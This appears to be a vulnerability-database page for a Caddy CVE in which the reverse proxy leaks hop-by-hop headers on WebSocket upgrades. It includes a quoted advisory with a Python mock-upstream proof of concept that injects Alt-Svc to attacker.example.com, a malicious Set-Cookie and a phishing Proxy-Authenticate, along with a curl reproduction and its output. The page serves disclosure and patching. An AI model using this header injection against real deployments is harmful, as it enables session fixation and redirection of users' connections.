Caddy
CVE-2026-55458
LOW
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCompromise or control WebSocket upstream
-
DeliveryReturn 101 with malicious Set-Cookie/hop-by-hop headers
-
ExploitCaddy upgrade path skips hop-by-hop stripping
-
ExecutionVictim browser processes injected headers
-
ImpactSession hijack or Alt-Svc connection redirection
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V4 - API and Web Service HTTP request consistency
|
| Exploitation Conditions | Caddy must be configured as a reverse_proxy that handles WebSocket (HTTP 101 Switching Protocols) upgrades, and the upstream being proxied must emit hop-by-hop or injectable headers (e.g. Set-Cookie, Alt-Svc, Keep-Alive, Proxy-Authenticate) - realistically requiring a compromised or malicious backend, so the attacker needs control of the upstream response rather than only network access to Caddy. Impact is maximized when HTTP/2 or HTTP/3 is enabled, because Caddy rewrites the upstream 101 into a 200 OK that browsers fully process (making Set-Cookie and Alt-Svc actionable); over plain HTTP/1.1 101 the headers still leak but are less uniformly consumed. Limiting factors: non-default dependence on WebSocket proxying, the requirement to control the upstream, and the need for a victim client to actually open the WebSocket (typically on page load). Normal (non-upgrade) responses are unaffected - Caddy strips these headers correctly there. |
| Impact | No CVSS vector, EPSS score, or KEV entry is present in the intel feed (CVSS Score and Vector are both 'N/A'), and the vuln.today Decision label is 'monitor' - the lowest-urgency signal here - so there is no quantitative exploitation-probability data to corroborate or contradict. A full, working PoC (a Python mock upstream plus a curl reproduction with captured output) is published inside the GHSA advisory itself, so exploit mechanics are public, but the feed does not mark this as 'confirmed working exploit code' and there is no evidence of active exploitation. The decisive risk limiter is the attacker model: this is NOT a remote-unauthenticated attack against Caddy's front door. Exploitation requires an upstream/backend that emits the offending headers - realistically a compromised or malicious backend - plus Caddy being configured to proxy WebSocket (101 upgrade) traffic. That makes it a post-compromise amplification / trust-boundary bug rather than an internet-facing entry point, which is consistent with the 'monitor' label. Impact is real where it applies (Set-Cookie injection can yield session fixation/account takeover, and Alt-Svc can redirect client connections), and it is worst on HTTP/2 or HTTP/3 where Caddy rewrites the 101 to a 200 that browsers fully process. Net: a legitimate medium-severity correctness/trust-boundary defect worth patching on a normal cycle, not a drop-everything emergency; a fix is already available (2.11.5). |
| Exploit ScenarioDerived | A compromised or malicious upstream sitting behind a Caddy reverse_proxy returns a WebSocket 101 Switching Protocols response carrying attacker-chosen headers such as Set-Cookie, Alt-Svc, and Proxy-Authenticate; Caddy's upgrade path returns early and forwards them unfiltered to the connecting client. With HTTP/2 or HTTP/3 enabled, Caddy converts the 101 into a 200 OK that browsers fully process, so an injected session cookie can lead to account takeover and Alt-Svc can redirect the client to attacker infrastructure. A complete working PoC (Python upstream plus curl, with captured leaking headers) is published in the vendor advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Oct 28, 2026
Hop-by-hop header leakage in Caddy's reverse proxy during WebSocket upgrades allows an upstream that emits headers such as Set-Cookie, Alt-Svc, Keep-Alive or Proxy-Authenticate to have them relayed unmodified to clients instead of being stripped as RFC 7230 §6.1 requires. Caddy v2 releases up to and including 2.11.4 are affected when configured with reverse_proxy and handling HTTP 101 Switching Protocols; the assessed vector (AV:N/AC:H/PR:H/UI:R/S:C/C:L/I:H/A:N) reflects that the attacker must control or compromise the upstream response and that a victim must actually open the WebSocket, with high integrity impact and limited confidentiality impact. A public proof-of-concept reproduction script is included in the GHSA advisory, no KEV entry or EPSS score was provided, and the vuln.today decision label is 'monitor'.
RemediationAI
Vendor-released patch: Caddy 2.11.5 (https://github.com/caddyserver/caddy/releases/tag/v2.11.5), which resolves the early return in finalizeResponse so hop-by-hop headers are stripped on the 101 upgrade path as well; the advisory is at https://github.com/caddyserver/caddy/security/advisories/GHSA-8qx7-j2v2-x6q5. The advisory describes no separate workaround, and updating the Go module to github.com/caddyserver/caddy/v2 v2.11.5 is the identified complete fix. Because the leaked headers originate in the upstream response, the prerequisite for exploitation is control of or compromise of the backend being proxied, so reducing the set of upstreams reachable through Caddy and hardening those backends limits exposure; per the advisory, deployments that do not proxy WebSocket upgrade requests are unaffected by this defect.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in go
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Caddy is written in Go and its reverse proxy handler lives in modules/caddyhttp/reverseproxy. For ordinary responses the finalizeResponse method calls removeConnectionHeaders() and then deletes every entry of a hard-coded hopHeaders list (Alt-Svc, Connection, Proxy-Connection, Keep-Alive, Proxy-Authenticate, Proxy-Authorization, Te, Trailer, Transfer-Encoding, Upgrade), which is the behaviour RFC 7230 §6.1 mandates for intermediaries. The 101 Switching Protocols branch returns early, before that stripping runs, and delegates to handleUpgradeResponse in streaming.go, which calls copyHeader(rw.Header(), res.Header) to copy every upstream header and then normalizeWebsocketHeaders, a function that only remaps Sec-Websocket-* key casing and performs no hop-by-hop filtering. The flaw is filed as CWE-444 (inconsistent interpretation of HTTP requests) because the proxy applies different header-sanitisation rules to different message types. Impact is greatest on HTTP/2 and HTTP/3 WebSocket connections, where Caddy implements extended CONNECT with :protocol: websocket and rewrites the upstream 101 into a 200 OK for the client, so leaked headers arrive in a normal response that browsers fully process; over plain HTTP/1.1 the headers still leak but are consumed less uniformly. The advisory identifies this as the only reverse-proxy response path that bypasses hop-by-hop stripping, and notes that the trigger is an upstream emitting those headers while completing a WebSocket upgrade.
Know when Caddy gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
Requires control of a WebSocket upstream (PR:H) under non-default proxy config (AC:H); the proxy injects headers into the separate client (S:C), enabling cookie/session injection (I:H).
DescriptionCVE.org
AI Disclosure
This vulnerability was discovered via deepseek-v4-pro[1m] for finding potential vulnerabilities / inconsistencies in the code base. I made the AI check if Caddy is compliant with various RFCs, incl. 7230. I also used it to help write the PoC, since it was honestly much faster than writing it by hand. I also let it write parts of this advisory text for brevity's sake, but had to rewrite half of it by hand.
Summary
Caddy's reverse proxy fails to strip RFC 7230 hop-by-hop headers from upstream responses when handling WebSocket upgrades (HTTP 101 Switching Protocols). Headers including Alt-Svc, Keep-Alive, Proxy-Authenticate, Transfer-Encoding, or Trailer, which Caddy actually correctly strips for normal HTTP responses, pass through unfiltered to the client during protocol upgrades. An upstream that sets these headers (intentionally or otherwise) can inject them into client responses, enabling connection hijacking via Alt-Svc, cookie injection via Set-Cookie, and proxy authentication phishing.
The normal response path in finalizeResponse correctly strips all hop-by-hop headers before forwarding, but the 101 code path returns early, skipping the stripping entirely.
Details
In modules/caddyhttp/reverseproxy/reverseproxy.go, the finalizeResponse method (line 1178) handles upstream responses. For all normal responses, it strips hop-by-hop headers before copying to the client:
// reverseproxy.go:1194-1198
removeConnectionHeaders(res.Header)
for _, h := range hopHeaders {
res.Header.Del(h)
}However, the 101 Switching Protocols check at line 1187 returns before this stripping code:
// reverseproxy.go:1186-1192
if res.StatusCode == http.StatusSwitchingProtocols {
var wg sync.WaitGroup
h.handleUpgradeResponse(logger, &wg, rw, req, res)
wg.Wait()
return nil // <-- returns BEFORE removeConnectionHeaders and hopHeaders loop
}Inside handleUpgradeResponse (streaming.go:60-91), all upstream response headers are copied to the client without any hop-by-hop filtering:
// streaming.go:88-91
copyHeader(rw.Header(), res.Header) // copies ALL upstream headers
normalizeWebsocketHeaders(rw.Header()) // only remaps Sec-WebSocket-* keysThe normalizeWebsocketHeaders function (line 714) only handles WebSocket-specific header key mapping (Sec-Websocket-* to Sec-WebSocket-*). It does not strip hop-by-hop headers.
Hop-by-Hop Headers That Leak Through
Defined at reverseproxy.go:1681-1692:
Alt-Svc, Connection, Proxy-Connection, Keep-Alive, Proxy-Authenticate,
Proxy-Authorization, Te, Trailer, Transfer-Encoding, UpgradeAll 10 are stripped from normal responses. None are stripped from WebSocket upgrade responses.
For HTTP/2 and HTTP/3 WebSocket connections (extended CONNECT with :protocol: websocket), Caddy converts the upstream's 101 into a 200 OK for the client (streaming.go:99-104). The leaked headers arrive in a standard HTTP 200 response that browsers fully process, making Alt-Svc hijacking and Set-Cookie injection practically exploitable.
Normal (200): removeConnectionHeaders() runs, hopHeaders loop runs -> headers stripped Upgrade (101): handleUpgradeResponse() runs, returns early -> headers are NOT stripped
This is the only response code path in the reverse proxy that bypasses hop-by-hop header stripping.
PoC
Caddy config:
:8080 {
reverse_proxy localhost:8083
}Script:
import socket
UPSTREAM = (
b"HTTP/1.1 101 Switching Protocols\r\n"
b"Upgrade: websocket\r\n"
b"Connection: Upgrade\r\n"
b"Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=\r\n"
b"Alt-Svc: h2=\"attacker.example.com:443\"; ma=86400\r\n"
b"Keep-Alive: timeout=999\r\n"
b"Proxy-Authenticate: Basic realm=\"phish\"\r\n"
b"Set-Cookie: injected=malicious; Path=/\r\n"
b"\r\n"
)
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", 8083))
s.listen(1)
conn, _ = s.accept()
conn.send(UPSTREAM)Curl:
curl -v \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
http://localhost:8080/ws 2>&1Output:
< HTTP/1.1 101 Switching Protocols
< Alt-Svc: h2="attacker.example.com:443"; ma=86400
< Connection: Upgrade
< Keep-Alive: timeout=999
< Proxy-Authenticate: Basic realm="phish"
< Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
< Server: Caddy
< Set-Cookie: injected=malicious; Path=/
< Upgrade: websocketAlt-Svc, Keep-Alive, and Proxy-Authenticate are hop-by-hop headers that MUST NOT be retransmitted by proxies per RFC 7230 §6.1. They all appear in the response.
Same upstream, same headers but on a 200 response. Caddy strips Alt-Svc correctly:
curl -v http://localhost:8080/
# Alt-Svc is absentImpact
This is a hop-by-hop header leakage vuln (I think CWE-444 fits closest?). The proxy fails to enforce the RFC 7230 §6.1 requirement that hop-by-hop headers must not be forwarded across proxy boundaries.
Any Caddy deployment that proxies WebSocket connections, especially those using HTTP/2 or HTTP/3 (where the 101-to-200 conversion makes headers fully processable by browsers) has this issue.
How an attack might look: A company serves app.example.com behind Caddy, with HTTP/2 enabled. The app uses WebSockets for real-time notifications (i.e. every page load opens one). The upstream app gets compromised (unpatched CMS plugin, leaked CI credential, dependency confusion). The attacker adds one line to the WebSocket handler: Set-Cookie: session=hijack; Path=/.
Now every visitor to app.example.com gets the attacker's session cookie written into their browser. The app uses the session cookie as the sole authentication token. When a user reloads the page or navigates to another part of the app, their browser sends session=hijack along with the request. The attacker submits the same value from their own browser. They get logged in as that user.
Caddy strips this header on normal HTTP responses. It strips hop-by-hop headers on the request side, basically everywhere except this path.
Suggested Fix
I'll add my fix to the branch in this security advisory.
Contact Details
If you find this find worth your time you can contact me under d.ramadani@ieee.org or +43 (677) 63 397 910. In case this is something that will go public I'd be happy to be mentioned under my real name, Dionis Ramadani.
Thank you for taking the time, I hope this is something interesting for you.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
Attack Technique
HTTP request smuggling exploits inconsistencies in how front-end and back-end servers parse HTTP message boundaries.
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Affected Products (CPE)CVE.org
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
FastCGI path splitting vulnerability in Caddy before 2.11.1 allows request smuggling or path confusion when proxying to
TLS error swallowing in Caddy web server before 2.11.1 allows bypassing client certificate authentication. Errors in Cli
Host header case sensitivity bypass in Caddy before 2.11.1. Virtual host routing can be bypassed by using alternate casi
Case sensitivity bypass in Caddy web server path matching before 2.11.1. HTTP path matchers can be bypassed using altern
Caddy versions 2.10.0 through 2.11.1 fail to strip client-supplied headers in the forward_auth copy_headers directive, e
Caddy versions 2.7.5 through 2.11.1 contain a template injection vulnerability in the vars_regexp matcher that allows re
An out-of-bounds read in the rewrite function at /modules/caddyhttp/rewrite/rewrite.go in Caddy v2.5.1 allows attackers
A configuration-gated information-disclosure flaw in Caddy 2.11.3 and earlier allows an unauthenticated remote attacker
Caddy versions prior to 2.11.1 fail to sanitize backslashes in file path matching, allowing attackers to bypass path-bas
Caddy versions prior to 2.11.1 allow unauthenticated cross-origin requests to the admin API when origin enforcement is d
An issue was discovered in caddy (for TYPO3) before 7.2.10. Rated medium severity (CVSS 6.1), this vulnerability is remo
GHSA-8qx7-j2v2-x6q5
CVE.org
Exploit-DB